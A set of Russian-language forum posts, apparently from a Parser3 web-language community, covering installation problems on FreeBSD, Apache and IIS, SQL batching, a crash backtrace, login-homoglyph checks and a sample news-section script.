		($selectRecipients.id, $content_id)\
	}[,]\
[/code]\
\
в отправке можно упразднить поле is_sent и просто удалять из спула уже разосланное, а заодно делать join spool & recipients и не доставать email-ы отдельными запросами. аналогично весь требуемый content можно достать в хеш одним запросом (where id  IN (^ selectQueye.menu{$selectQueye.content_id}[,]) ). ну и update (или delete) можно делать для пачки записей, а не поотдельности...\
\
а ещё mail:send в ^try{} ибо возможны ошибки, в случае возникновения которых помечать получателя (и/или в лог его) и если ошибки постоянные через некоторое время прекращать попытки отправлять ему почту."
"51391","Весьма хвалят вот такой веб-сервер: http://www.sysoev.ru/nginx/\
Судя по описанию/отзывам - вещь стоящая.\
\
Если кто-то использует это сервер в связке с парсером, то хотелось бы почитать отзывы."
"51392","Про IN в отсутствии позапросов постоянно забываю, к сожалению. \
^try -- собирался сделать\
A JOIN проморгал\
\
Меня честно говоря смущает \
[code]$selectRecipients[^table::sql{SELECT id FROM recipients WHERE type = $type]\
^selectRecipients.menu{\
^void:sql{INSERT INTO spool (recipient_id, content_id) VALUES ($selectRecipients.id, $content_id)\
}[/code]\
\
не смотря на то что данных немного -- выполнятся ли запросы при например 1500 адресатов и более?"
"51395","Доступен для чтения, пути вместе со службой поддержки ставили\
http://vip-otkos.ru/test_n.html ( драйвер находиться нормально )\
\
А всё равно не работает. Единственно что я могу предполоить что драйвер собранный для FreeBSВ 4.9 Не подходит для FreeBSD 5.4"
"51397","кто-нить будет искать, найдет ваше сообщение, в котором информация о пути к библиотеке, набор волшебных слов для админов этого хостинга или ссылка, по которой скачивается архив либы...\
\
:)"
"51398","Если внимательно по спрашивать, то выяснится что особого роста производительности по парсеру не обещают.\
\
Рекомендуют использовать как прокси, с целью максимально быстрого освобождения памяти занимаемой скриптом. (при большом количестве медленных соединений)"
"51401","[quote]ну и update (или delete) можно делать для пачки записей, а не поотдельности...[/quote]\
\
Это на тот случай если в процессе произойдет ошибка, тогда при следующем запуске через cron рассылка продолжится с адреса на котором остановилась"
"51405","предпложим ошибка произошла из-за таймаута, удалилось из спула сто получателей, ошибка произошла на 36. Тогда надо удалить предидущие 36 чтобы начать со следующего. По-моему удалять отправленные из спула удобнее, а ошибки отправки почты просто скидывать в лог.\
UPD: в смысле если ошибка не с mail:send произошла, а например по тайм-ауту скрипт того."
"51410","Пробую:\
Action text/html /cgi-bin/parser3.cgi\
не помогает"
"51414","тоска."
"51415","а в ПХП это наверное так и не исправлено =)"
"51417","исправляете .htaccess, чтобы запросы шли не на удалённый сервер, а на вашу страничку на parser, внутри которой вы самостоятельно сделаете запрос к удалённому серверу (^file::load[http://...]).\
и самостоятельно сделаете кэширование ответа (^cache).\
при таком подходе вы можете как угодно обработать выдаваемый пользователю результат."
"51419","действуете правильно (правда, ./build-all-xml модно просто запускать ;)\
\
посмотрите, где упало, может прибавится ясности:\
[code]\
$ gdb /path/to/parser3 /path/to/core\
gdb> bt\
[/code]"
"51420","возникла вот такая проблема:\
^if(-d \"/files/fil'e\"){ch-to sdelat}\
Парсер почему-то не воспринимает директории с апострофом(файлы кстати тоже)\
замена апострофа на %27 или на _27 тоже не помогает"
"51421","Итак появилась потребность в использовании Parser 3\
\
Скачал отсюда все необходимое http://www.parser.ru/download/freebsd/\
\
НО ни как не получается его установить уже даже не знаю где копать.\
Вот что я сделал:\
1. Скопировал в binary mode файл parser3.cgi в директорию /cgi-bin и выстовил права 755\
2. Скопировал в файл auto.p в директорию /cgi-bin, выстовил права 755\
3. Скопировал в файлы koi8-r.cfg, windows-1250.cfg, windows-1251.cfg, windows-1254.cfg, windows-1257.cfg, в директорию /cgi-bin/charsets выстовил права 755\
4. Скопировал в файл libparser3mysql.so в директорию /cgi-bin/lib выстовил права 755\
5. В файле .htacces прописал все что нужно, теперь он имеет следующий вид:\
ErrorDocument 404  http://www.connectrussia.net/404.php\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
После всего этого выдает ошибку 505 Internal Server Error. В логах пишется следующие:\
Premature end of script headers: /home/www/z48067/cgi-bin/parser3.cgi\
\
Нашел описание решения этой проблемы на сайте парсера, вот цитата:\
_____________________________________________________________\
У меня на *nix вылезает ошибка веб-сервера Apache «Internal Server Error», что я делаю не так? \
Посмотрите в лог ошибок веб-сервера, а также suexec.log (если такой есть), там подробно написано, что случилось.\
Типичная ошибка, «Premature end of script headers», означает, что вы забыли поставить бит «executable» или выбрали версию Parser, не соответствующую операционной системе вашего сервера (уточните ее у системного администратора).\
Также причиной может быть то, что вы «закачали» исполняемый файл на сервер не в режиме binary. В этом случае размер закачанного файла будет отличаться от файла, лежащего на вашем локальном диске.\
Другой причиной может являться опечатка в .htaccess файле, запись в лог файле будет содержать подробное указание, что вы сделали не так.\
 В случаях, когда в логе вы увидите иную ошибку, ее текст подскажет вам, как ее исправить.\
_______________________________________________________\
\
Все вроде было сделанно правильно еще при установке.\
\
Что делать где искать ошибки?"
"51424","Такие данные можно тягать напрямую из postgresql ;)\
\
Поначалу подумал, что имеется в виду gmail-оподобный протокол"
"51425","Есть список урлов страниц с адресом https://... \
Возможно ли парсер заставить залезать на эти страницы (попутно вводя имя и пароль в выскакивающем окне авторизации) и слизывать оттуда контент, распознавать нужные в нем части и складывать их в БД.\
Задача не совсем обычная, я бы сказал даже редкая, поэтому и встал вопрос: а оно вообще возможно, или только php?"
"51428","http://www.parser.ru/forum/?id=46782\
http://www.parser.ru/forum/?id=43415"
"51429","придется перебирать все $cookie[] и $form[] и вставлять их в file::load[http://...]?"
"51430","Только самые последние последние версии wget поддерживают https, не факт что они уже стоят на вашем сервере.\
\
Другой вариант это использовать perl и модули LWP::UserAgent, Crypt::SSLeay, не факт в что они тоже стоят на вашем сервере."
"51431","[quote]не факт что они уже стоят на вашем сервере[/quote]\
Можно скачать скомпилированный под нужную систему и запустить как cgi-скрипт, что я и сделал тогда, собственно."
"51432","# gdb /usr/local/www/data/site01/cgi-bin/parser3 /usr/local/www/data/site01/cgi-bin/parser3.core\
GNU gdb 6.1.1 [FreeBSD]\
Copyright 2004 Free Software Foundation, Inc.\
GDB is free software, covered by the GNU General Public License, and you are\
welcome to change it and/or distribute copies of it under certain conditions.\
Type \"show copying\" to see the conditions.\
There is absolutely no warranty for GDB.  Type \"show warranty\" for details.\
This GDB was configured as \"i386-marcel-freebsd\"...\
Core was generated by `parser3'.\
Program terminated with signal 12, Bad system call.\
Reading symbols from /usr/local/lib/libgc.so.1...done.\
Loaded symbols for /usr/local/lib/libgc.so.1\
Reading symbols from /lib/libcrypt.so.2...done.\
Loaded symbols for /lib/libcrypt.so.2\
Reading symbols from /lib/libm.so.3...done.\
Loaded symbols for /lib/libm.so.3\
Reading symbols from /lib/libc.so.5...done.\
Loaded symbols for /lib/libc.so.5\
Reading symbols from /usr/lib/libpthread.so.1...done.\
Loaded symbols for /usr/lib/libpthread.so.1\
Reading symbols from /libexec/ld-elf.so.1...done.\
Loaded symbols for /libexec/ld-elf.so.1\
#0  0x2819e99b in ksem_init () from /lib/libc.so.5\
\
\
(gdb) bt\
#0  0x2819e99b in ksem_init () from /lib/libc.so.5\
#1  0x2819483d in sem_init () from /lib/libc.so.5\
#2  0x281128df in GC_stop_init () from /usr/local/lib/libgc.so.1\
#3  0x28111b42 in GC_thr_init () from /usr/local/lib/libgc.so.1\
#4  0x2810dfeb in GC_init_inner () from /usr/local/lib/libgc.so.1\
#5  0x2810a108 in GC_generic_malloc_inner () from /usr/local/lib/libgc.so.1\
#6  0x2810a268 in GC_generic_malloc () from /usr/local/lib/libgc.so.1\
#7  0x2810a4ab in GC_malloc () from /usr/local/lib/libgc.so.1\
#8  0x08097543 in global constructors keyed to hashfile_class () at pa_memory.h:29\
#9  0x080c1a0e in __do_global_ctors_aux ()\
#10 0x08049e6e in _init ()\
#11 0x0804a8ba in _start ()\
#12 0x00000001 in ?? ()"
"51433","Новый адрес - http://parser.proc.ru/ (в настоящее время решается вопрос с постоянным доменом)\
Хостинг любезно предоставил Олег Волчков (aka Sumo). Сегодня залил туда то что было на http://city.apatity.fio.ru/. Сейчас доделываю форум."
"51435","Потому, что писать нужно не\
\
Action text/html /cgi-bin/parser3.cgi\
\
а\
\
AddType parsed-html .html .htm\
Action parsed-html /cgi-bin/parser3.cgi\
\
Вообще, как я понимаю, документацию вы даже не открывали:\
\
http://www.parser.ru/docs/lang/?install.htm"
"51436","Вместо:\
\
AddHandler parsed-html html\
\
AddType parsed-html .html\
\
Кроме того, эта проблема уже обсуждалась: http://www.parser.ru/forum/?id=49313"
"51438","к сожалению не сработало, может можно как-то еще?"
"51440","вылез ещё 1 вопрос: а эта штука умееет эмитировать поведение браузера, т.е. принимать куки и отдавать их обратно по запросу сервера?"
"51441","А остальное — работа Parser-а. Используйте wGet только там, где нужен ^[url=\"http://www.parser.ru/docs/lang/fileload.htm\"]file::load[/url][text;http[b]s[/b]://...]"
"51442","Это что? Появляется через раз по refresh без изменения кода.\
"
"51443","Это у меня просто файл сохраняется долго, во время сохранения парсер естественно получает обрезанный файл. :)"
"51444","Из документации апача я понял что можно настроить обработчик на mime тип содержимого (не только как в доке парсера)\
Моя цель заставить парсер обрабытывать выходной поток text/html не из локальных страниц а с другого сайта, но используя auto.p с функцией постпроцесса.\
\
Скорее всего придется писать фильтр html на парсере"
"51445","нужно расскомментировать\
[code]\
#AddModule mod_actions.c\
[/code]\
\
http://xpoint.ru/forums/internet/webservers/apache/faq.xhtml#327\
\
В таком подходе есть свои заморочки:\
http://www.parser.ru/forum/?id=2674"
"51446","id - номер п/п\
idt - ID товара\
price - цена товара\
pers - ID продавца\
\
[code]|----|-----|-------|-------|------|\
| id | idt | price | colvo | pers |\
|---------------------------------|\
| 1  |  1  |  250  |   3   |  1   |\
|---------------------------------|\
| 2  |  1  |  250  |   2   |  1   |\
|---------------------------------|\
| 3  |  1  |  250  |   1   |  2   |\
|---------------------------------|\
| 4  |  1  |  260  |   2   |  2   |\
|---------------------------------|\
| 5  |  2  |  700  |   2   |  1   |\
|---------------------------------|\
| 6  |  2  |  750  |   1   |  1   |\
|---------------------------------|[/code]\
как построить SQL-запрос, чтобы в результате выбралась такая таблица:\
\
\
[code]|-----|-------|-------|------|\
| idt | price | colvo | pers |\
|----------------------------|\
|  1  |  250  |   5   |  1   |\
|----------------------------|\
|  1  |  250  |   1   |  2   |\
|----------------------------|\
|  1  |  260  |   2   |  2   |\
|----------------------------|\
|  2  |  700  |   2   |  1   |\
|----------------------------|\
|  2  |  750  |   1   |  1   |\
|----------------------------|[/code]\
\
т.е. товары с одинаковой ценой и продавцом плюсуются\
\
или можно только средствами parsera? не охота, мороки много...."
"51447","Например, http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_sa-ses_9sfo.asp  - пример \"N\""
"51448","Предлагаю запретить использование пробелов и русских букв в логине. Как смотрит на это автор?"
"51452","чем вам не угодили эти люди:\
http://www.parser.ru/forum/users/?uid=7\
http://www.parser.ru/forum/users/?uid=620\
http://www.parser.ru/forum/users/?page=20 (и по стрелке Далее)\
\
?"
"51453","У меня показываются сразу результаты голосования. Кук нет, $poll.$poll_id.status ne 0. Почему?"
"51455","Просто, чтобы запретить?"
"51456","- это противодействие \"двойникам\", которые меняют букву в логине на аналогичную русскую, регистрируются так и начинают хулиганить.\
\
Лучше чуть модифицировать [code]^if($_exist > 1){\
	^addErrorCode[multiple_user_found]\
}[/code]: завести в БД столбец, в который класть \"нормализованную\" версию логина (где все русские буквы будут заменены на латинские эквиваленты) и дополнительно искать в нём."
"51458","Парсер не работает с такими именами файлов."
"51459","Вообщем есть Mysql база.\
Там куча табличек.\
\
Есть несколько табличек которые\
1. Немаленькие.\
2. Юзаются очень и очень активно.\
\
Также есть Пара табличек которые Содержат некоторые статистические данные которые инкаються временами...они:\
1. Маленькие (и в ширину и в длинну :) )\
2. Обнавляються редко...ну как бы неочень редко но в сотни раз реже чем первые.\
3. Читаються довольно часто\
\
Вопрос:\
Может быть стоит маленькие таблички закинуть в текстовички...и работать там с ними. Дабы уменьшить нагрузку на мюскуель сервер...\
\
Вообщем стоит ли...что-то с ними делать.."
"51460","переписывать код (frontend и административный интерфейс) чтобы избавиться от хранения данных в SQL не стОит точно. \
\
проверить наличие индексов нужно обязательно. \
\
воспользоваться кешированием sql запросов (например с помощью классов из примеров) - по желанию. хотя в случае действительно маленьких таблиц и сильно нагруженого SQL сервера вы вряд-ли сильно облегчите ему жизнь.\
\
любая оптимизация должна начинаться с самого нагруженого места. т.е. если у вас есть 10 sql маленьких запросов которые не тормозят и 1 - который тормозит, то на первые 10 можно даже не смотреть. соответственно встает задача - найти узкие места, а это как раз та задача, для которой класс из примеров изначально и был сделан (искать проблеммные sql запросы) и которую лично мне решить он помог уже не один десяток раз."
"51461","Тем более, что в вашем случае, это, скорее всего не даст ничего кроме неудобств и проблем. \
\
Если используете sql.p - воспользуейтесь уже реализованной функцией кеширования. В любом случае - вам нужен(?) кеш, но никак не расчленение базы на текстовые файлики."
"51462","Я интерпретирую невнятно высказанное пожелание. :-)"
"51463","...мной был написал простейший форум на перле, там была такая фукция(перевел на парсер ее, но так и не пользуюсь):\
\
[code]@fakeq[str1;str2][r]\
$str1[^str1.match[(\\s+)][g]{}]\
$str2[^str2.match[(\\s+)][g]{}]\
$str1[^str1.lower[]]\
$str2[^str2.lower[]]\
$r[^table::create{from	to\
.	\
_	\
+	\
-	\
:	\
-	\
*	\
\\/	v\
^]^[	x\
)(	x\
1	i\
|	i\
l	i\
4	ч\
()	o\
0	o\
о	o\
а	a\
#^@	a\
р	p\
м	m\
н	h\
у	y\
х	x\
е	e\
t	т\
к	k\
с	c\
и	n\
з	3\
w	v\
^}|^{	ж}]\
$str1[^str1.replace[$r]]\
$str2[^str2.replace[$r]]\
^if($str1 eq $str2){\
	$result(1)\
}{\
	$result(0)\
}\
[/code]"
"51465","Когда мы озаботились проблемой двойников в свое время, мы проверяли на пробел \" \" и подчеркивание \"_\" в начале ника, а также использовали вот такой массивчик, включающий русские, латинские буквы и еще  цифры 0, 3.\
[code]\
$hash=Array(\"e\"=>\"[eеEЕ]\",\"е\"=>\"[eеEЕ]\",\"E\"=>\"[eеEЕ]\",\"Е\"=>\"[eеEЕ]\",\
\"t\"=>\"[tтTТ]\",\"т\"=>\"[tтTТ]\",\"T\"=>\"[tтTТ]\",\"Т\"=>\"[tтTТ]\",\
\"y\"=>\"[yуYУ]\",\"у\"=>\"[yуYУ]\",\"Y\"=>\"[yуYУ]\",\"У\"=>\"[yуYУ]\",\
\"p\"=>\"[pрPР]\",\"р\"=>\"[pрPР]\",\"P\"=>\"[pрPР]\",\"Р\"=>\"[pрPР]\",\
\"a\"=>\"[aаAА]\",\"а\"=>\"[aаAА]\",\"A\"=>\"[aаAА]\",\"А\"=>\"[aаAА]\",\
\"h\"=>\"[hнHН]\",\"н\"=>\"[hнHН]\",\"H\"=>\"[hнHН]\",\"Н\"=>\"[hнHН]\",\
\"k\"=>\"[kкKК]\",\"к\"=>\"[kкKК]\",\"K\"=>\"[kкKК]\",\"К\"=>\"[kкKК]\",\
\"x\"=>\"[xхXХ]\",\"х\"=>\"[xхXХ]\",\"X\"=>\"[xхXХ]\",\"Х\"=>\"[xхXХ]\",\
\"c\"=>\"[cсCС]\",\"с\"=>\"[cсCС]\",\"C\"=>\"[cсCС]\",\"С\"=>\"[cсCС]\",\
\"b\"=>\"[bвBВ]\",\"в\"=>\"[bвBВ]\",\"B\"=>\"[bвBВ]\",\"В\"=>\"[bвBВ]\",\
\"m\"=>\"[mмMМ]\",\"м\"=>\"[mмMМ]\",\"M\"=>\"[mмMМ]\",\"М\"=>\"[mмMМ]\",\
\"3\"=>\"[3з3З]\",\"з\"=>\"[3з3З]\",\"3\"=>\"[3з3З]\",\"З\"=>\"[3з3З]\",\
\"o\"=>\"[oоOО0]\",\"о\"=>\"[oоOО0]\",\"O\"=>\"[oоOО0]\",\"О\"=>\"[oоOО0]\",\"0\"=>\"[oоOО0]\");\
[/code]\
Может кому пригодится.\
(Php инъекция в Парсер была выбрана сознательно по ряду причин)"
"51466","Вот задача:\
\
Есть xml файл распаложенный вот здесь http://xoap.weather.com/weather/local/RSXX0063?cc=*&prod=xoap&par=[1019115932]&key=[08c51bd96078c23e].xml \
\
при попытки сделать следующие $sourceDoc[^xdoc::load[http://xoap.weather.com/weather/local/RSXX0063?cc=*&prod=xoap&par=[1019115932]&key=[08c51bd96078c23e].xml]] $transformedDoc[^sourceDoc.transform[/weather/weather.xsl]] ^transformedDoc.string[ $.method[html] ]"
"51467","выдает ошибку  'load' method of xdoc (stateless_class) accepts maximum 1 parameter(s)\
\
объясните на пальцах не понимающему и не втыкающему что надо сделать что бы все заработало, только не надо посылать в другие темы и в документацию (ну не понял я ни чего ни в документации ни в других темах)"
"51468","[code]\
$sourceDoc[^xdoc::load[http://xoap.weather.com/weather/local/RSXX0063?cc=*&prod=xoap&par=1019115932&key=08c51bd96078c23e.xml]]\
$transformedDoc[^sourceDoc.transform[/weather/weather.xsl]]\
^transformedDoc.string[\
	$.method[html]\
]\
[/code]"
"51471","у кого-нибудь есть готовый работающий пример \"новостного раздела для чайников\"? Киньте в мне в ящик, я хоть помотрю, что ни так у меня, да как надо...\
ПС: не будьте жадными :)"
"51473","зря вы думаете, что я попросил(а), от лени, мне для усвоения нужно видеть готовое, как в школе: учитель даёт готовый пример, вы усваиваете, а потом сами... В примераз он не доработан. Неужели, так Вам жаль помочь?"
"51474","нет только той части куда нужно забивать новость.\
Её несложно написать.\
И запомните, разглядывание чужих кодов ничего вам не даст если вы не будете читать документацию и вникать в суть. Если прочтёте и усвоите, примеры вам не понадобятся."
"51475","1.создал таблицу в БД\
CREATE TABLE article (\
	article_id INT(10) NOT NULL AUTO_INCREMENT PRIMARY KEY,\
	article_type_id TINYINT(4) NOT NULL DEFAULT 0,\
	title VARCHAR(255),\
	lead VARCHAR(255),\
	body TEXT,\
	is_published TINYINT(1) NOT NULL DEFAULT 0,\
	dt DATETIME NOT NULL,\
	dt_published DATETIME NOT NULL\
)\
\
CREATE INDEX ix_article_0 ON article (\
	article_type_id,\
	is_published,\
	dt_published,\
	dt\
)\
\
2.Запихнул это в auto.p раздела /press/\
\
@USE\
/classes/lib.p\
/classes/sql.p\
/classes/dtf.p\
\
#Метод получения статей по заданным параметрам#\
\
@getArticles[lparams][params]\
$params[^hash::create[$lparams]]\
$result[^MAIN:pSQL.table{\
	SELECT\
		article_id AS id,\
		title,\
		lead,\
		dt\
		^if(^params.id.int(0)){, body}\
	FROM\
		article\
	WHERE\
		article_type_id = ^params.article_type_id.int(0) AND\
		is_published = 1 AND\
		dt_published <= ^MAIN:pSQL.now[]\
		^if(^params.id.int(0)){\
			AND article_id = ^params.id.int(0)\
		}\
		^if(def $params.where){\
			AND $params.where\
		}\
	ORDER BY\
		dt DESC\
}[\
	^if(def $params.limit){$.limit($params.limit)}\
	^if(def $params.offset){$.offset($params.offset)}\
]]\
#end @getArticles[]\
\
\
##################################\
#Отображение списка анонсов статей\
##################################\
\
@printArticles[article]\
<ul>\
^untaint[as-is]{\
	^article.menu{\
		<li><b>^dtf:format[%d.%m.%Y;$article.dt]</b>\
		^printTitle[$article]\
		<br />$article.lead</li>\
	}\
}\
</ul>\
#end @printArticles[]\
\
\
@printTitle[article]\
^if(def $article.title && ^article.title.match[\\^[[^^\\^]]+\\^]]){\
	$result[^article.title.match[\\^[([^^\\^]]+)\\^]][g]{<a href=\"?id=$article.id\">$match.1</a>}]\
}{\
	$result[<a href=\"?id=$article.id\">$article.title</a>]\
}\
#end @printTitle[]\
\
#Достаем информацию для отображения календаря\
\
@getCalendar[lparams][params]\
$params[^hash::create[$lparams]]\
$result[^MAIN:pSQL.table{\
	SELECT\
		^MAIN:pSQL.month[dt] AS month,\
		^MAIN:pSQL.year[dt] AS year\
	FROM\
		article\
	WHERE\
		article_type_id = ^params.article_type_id.int(0) AND\
		is_published = 1 AND\
		dt_published <= ^MAIN:pSQL.now[]\
	GROUP BY\
		year,\
		month\
}]\
#end @getCalendar[]\
\
#Отображение календаря.\
\
@printCalendar[calendar][now;curr_year;curr_month;y_hash;ym_hash;i;m]\
^if($calendar){\
	$now[^date::now[]]\
	$curr_year(^form:year.int(^dtf:format[%Y]))\
	$curr_month(^form:month.int(^dtf:format[%m]))\
\
	$y_hash[^calendar.hash[year;year][$.distinct(1)]]\
	$ym_hash[^calendar.hash{^calendar.year.format[%04d]=^calendar.month.format[%02d]}[month][$.distinct(1)]]\
	$year[^y_hash._keys[]]\
	^year.sort($year.key)[desc]\
\
	<table border=\"1\" align=\"right\">\
	<tr valign=\"top\">\
		<td>\
			^year.menu{\
				<b>^if($year.key == $curr_year){\
					$year.key /&nbsp^;\
				}{\
					\
					^if(^calendar.locate[year;$year.key]){}\
					<a href=\"?year=$year.key&month=$calendar.month\">$year.key</a>\
				}\
				</b><br />\
			}\
		</td>\
		<td>\
			^if(^year.locate[key;$curr_year]){}\
			^for[i](0;11){\
				$m(12-$i)\
				^if(def $form:month && $m == $curr_month){\
					<b>$dtf:[ri-locale].month.$m</b><br />\
				}{\
					^if(!($now.year == $curr_year && $m > $now.month)){\
						^if($ym_hash.[^curr_year.format[%04d]=^m.format[%02d]]){\
							<a href=\"?year=$curr_year&month=$m\">$dtf:[ri-locale].month.$m</a>\
						}{\
							$dtf:[ri-locale].month.$m\
						}\
						<br />\
					}\
				}\
			}\
		</td>\
	</tr>\
	</table>\
}\
#end @printCalendar[]\
\
\
\
#Отображение одной статьи с текстом\
\
@printArticle[article]\
^untaint[as-is]{\
	^if(def $article.title){<h1>^article.title.match[[\\[\\]]][g]{}</h1>}\
	^dtf:format[%d %h %Y;$article.dt;$dtf:rr-locale]\
	<p>$article.body</p>\
}\
#end @printArticle[]\
\
3.А это в index.html того же раздела\
@main[]\
^if(!def $form:id){\
	^rem{ *** $form:id не определена: показываем календарь со списком новостей *** }\
\
	^rem{ *** получаем информацию о календаре и выводим его *** }\
	$calendar[^getCalendar[$.article_type_id(1)]]\
	^printCalendar[$calendar]\
	\
	^rem{ *** получаем список последних новостей или новостей за указанный период и выводим его *** }\
	$article[^getArticles[\
		$.article_type_id(1)\
		^if(^form:year.int(0)){\
			$.where[dt >= '^form:year.int(0)-^form:month.int(0)-00' AND dt <= '^form:year.int(0)-^form:month.int(0)-31']\
		}{\
			$.limit(20)\
		}\
	]]\
	^if($article){\
		^printArticles[$article]\
	}{\
		<p>Не найдено ни одной новости за указаный период.</p>\
	}\
}{\
	^rem{ *** $form:id определена: достаем и показываем новость с выбранным id *** }\
	$article[^getArticles[\
		$.article_type_id(1)\
		$.id(^form:id.int(0))\
	]]\
	^if($article){\
		^printArticle[$article]\
	}{\
		^rem{ *** указали такую id, новости с которой не существует... посылаем посетителя на... 404 ошибку. *** }\
		^location[/404/]\
	}\
}\
\
\
при заходе на эту страницу, ругается:\
\
table\
undefined method\
x:/home/mysite/www/press/auto.p(68:20) \
--------------------------------------------------------------------------------\
params x:/home/mysite/www/press/auto.p(68:2) \
getCalendar x:/home/mysite/www/press/index.html(6:20) \
rem x:/home/mysite/www/press/index.html(6:10) \
if x:/home/mysite/www/press/index.html(2:2) \
\
что не так?"
"51476","все равно выдает ошибку 'load' method of xdoc (stateless_class) accepts maximum 1 parameter(s) [parser.runtime]"
"51477","как устанавливать координаты и есть ли у них заготовка xsl-шаблона?"
"51479","Вызывает реакцию код:\
[code]\
@getCalendar[lparams][params]\
$params[^hash::create[$lparams]]\
$result[^MAIN:pSQL.table{\
SELECT\
^MAIN:pSQL.month[dt] AS month,\
^MAIN:pSQL.year[dt] AS year\
FROM\
article\
WHERE\
article_type_id = ^params.article_type_id.int(0) AND\
is_published = 1 AND\
dt_published <= ^MAIN:pSQL.now[]\
GROUP BY\
year,\
month\
}]\
[/code]\
\
а именно, как я понимаю метод\
[code]\
^MAIN:pSQL.table\
[/code]\
 - должен быть определен объект pSQL в каком-нибудь файле auto.p выше:\
\
[i]Класс MAIN объединяет в себя методы и переменные, описанные пользователями в файлах auto.p и запрашиваемом документе (например, index.html). Каждый следующий уровень вложенности наследует методы, описанные в auto.p предыдущих уровней каталога. Эти методы, а также методы, описанные в запрашиваемом документе, становятся статическими функциями класса MAIN, а все переменные, созданные в auto.p вверх по каталогам и в коде запрошенной страницы, - статическими полями класса MAIN. \
[/i]"
"51480","так на сайте насколько я знаю нет."
"51481","http://download.weather.com/web/xml/sdk.zip"
"51485","... Вы использовали функции форума, такие как [code]."
"51488","1. разбираться в чужом коде гораздо сложнее чем писать самому.\
2. Особенно если вы не пробовали читать документацию"
"51490","Купил хостинг у Арбатек.ру, не могу разобраться с парсером...\
У хостеров написано в ководстве по установке парсер2, скачать файл парсер2 и поместить его в свой /cgi-bin/, и изменить содержание \
.хтацесс на следующее:\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser2\
\
<Files ~ \"\\.cfg$\">\
Order allow,deny\
Deny from all\
</Files>\
\
приобращении к хтмэлке содержащей парсер-код, сервер выдает Internal Server Error... \
\
я в заблуждении... помогите советом!\
Спасибо."
"51494","качайте третий, и ставьте согласно документации. Проблем не будет."
"51497","dreamweaver при сохранение в html в линке на xml меня вот это $ на вот это &amp"
"51498","Это просто \"желтая статья\" с дебильным заголовком. МС просто предупреждают что ее заставили переписать кусок эксплорера и теперь некоторые вещи будут работать не так, как раньше.\
Они могли назвать статью и \"Билл Гейтс - ахтунг\"."
"51499","Это касается будущих версия браузера или же новых патчей?"
"51500","В Парсере нет многих вещей типа интерфейсов, множественного наследования, модификаторов доступа, типизации параметров методов, ...\
\
Есть ли у вас список TO DO, где описано что планируется к разработке? Можно ли узнать почему что-то будет сделано, а чего-то не будет?"
"51501","спасибо за то, что Вы есть! :)\
поставил 3 парсер, все отлично работает!\
Благодарю!"
"51504","http://www.parser.ru/forum/?id=51457"
"51505","почитайте форум, сколько людей не могут с первым уроком справиться. Какие к черту модификаторы доступа, помилуйте... оО\
сразу пропадет весь парсеровский шарм :)"
"51506","вопрос на засыпку: что сделать легче, посмотреть какие поля в бд для новостей придумал Миша или прыгать с бубном самому? \
Про бубен утрирую конечно, но если разобраться в 100 строчках кода это сложно, то документацию совсем не надо читать... не понадобится..."
"51508","не прочитав документацию не узнаешь что такое sql"
"51510","...и выложите пожалуйста на свой сервер (купите если нет) лицензионный Windows XP. Просто я не хочу тратить много денег, а за 70 руб. плохо работает :("
"51511","а прочитав ее узнаешь о xdoc и все перепутаешь :(\
P.S. копи/паст конечно решает, но это уже вандализм какой-то..."
"51512","то есть энное количество пользователей пиратских версий и диалапщиков, которые блокируют WU, останутся как есть. \
\
Для оценки предлагаю посмотреть, как продвигался XP SP2 - в том же темпе распространится по компьютерам и этот патч."
"51513","Не понял, что сделал, но стало нормально."
"51514","Здаров мужики! Я вот закачал парсера (инсталяшака WIn32), установил, пробую запустить тест тот который валяется в папке Other, а он мне пишет \"# Для того, чтобы данный тест заработал, в качестве обработчика документов с данным расширением должен быть установлен parser, чего сейчас не наблюдается. #\"! В чем может быть бадяга!? У меня не установлен ни Апач ни ИИС, как поставить парсер и заставить работать на обычную машину!? Пишите плиз на мыло! Заранее спасибо!"
"51515","призы в студию. \
если бы вы просто положили на рабочий столик файлик _test.html и запустили через браузер (а он то у вас есть?) было бы гораздо больше текста... \
\
PS вы б хоть смайликов понаставили... хотя и без них не плохо..."
"51516","[url=\"http://www.parser.ru/f/1/docs/parser3_2_0.ru.chm\"]pARSER[/url]\
\
D: пОЛоЖИМ ЧеЛОВеК ПОГаРюЧИЛСЯ :)"
"51517","Эта пять! (С)"
"51521","он сделан для вашего случая."
"51522","для этого случая сделан скорее молоток.\
Cейчас еще спросят про то что такое swissknife"
"51526","то мы поймём, что это злостный флеймер, а не чайник, и тред полетит в корзину."
"51528","Или его можно заставить обрабатывать входной поток?"
"51529","Есть такая фигня:\
$list[^file:list[^if(def $form:Author){${path}${form:Author}}{$path^;^if(def $form:LttList){^^[$form:LttList].+}{^^А.+}}]] \
\
Смысл строки в следующем:\
Если автор опрделен, в корень с путями добавляется название папки Автора.\
Если автор не определен, и не задана буква сортировки, проводится листинк корневой папки.\
\
Проблема в том, что код как ни странно не работает, - а именно из-за экранирований точки с запятой перед вторым логическом условии, при том, что ошибка не выдается, просто выводится пустой лист. Если убрать второе условие и стереть ; то все выводится (но малость не так).\
\
Кто нить, пожалуста, подскажите....  я спасибо скажу...."
"51530","сдается мне что вы удивитесь, увидев какой \"путь\" в file:list подставляется."
"51531","Объясните почему цены со значком $ не отображаются? Просто пустое место вместо цены.\
\
Как решить проблему отображения цен в долларах вот в таком формате $200."
"51533","Знак [b]$[/b] для Парсера - служебный символ,\
обозначающий, что за ним следует имя переменной.\
В вашем случае [b]$200[/b] будет восприниматься\
Парсером как \"переменная с именем 200\".\
Если же вы хотите использовать сам символ,\
то перед ним надо ставить \"птичку\":\
[code]200^$[/code] или так\
[code]^$200[/code]\
[b]RTFM![/b]"
"51534","Там все есть"
"51535","Здравствуйте подскажите как установить парсер3 на вин сервер 2003, читал доки ничерта не понял откуда что береться! Помогите пожалуйста!"
"51536","1/ Качаем:\
http://www.parser.ru/f/1/download/win32/parser3_2_1_ru.exe\
\
устанавливаем\
2/ Читаем\
http://www.parser.ru/docs/lang/?install4iis.htm\
следуем инструкции шаг в шаг."
"51538","Здравствуйте!\
Помогите пожалуйста чайнику!!!\
  Есть у меня домен www.mwn.ru\
  и несколько поддоменов www.uk.mwn.ru, www.kb.mwn.ru ну и т.д...\
  и в /cgi-bin/ директорию каждого из поддоменов я понапихал по\
  экземпляру парсера...\
  ну, не смог я обратиться из поддомена к корневому /cgi-bin/ ...\
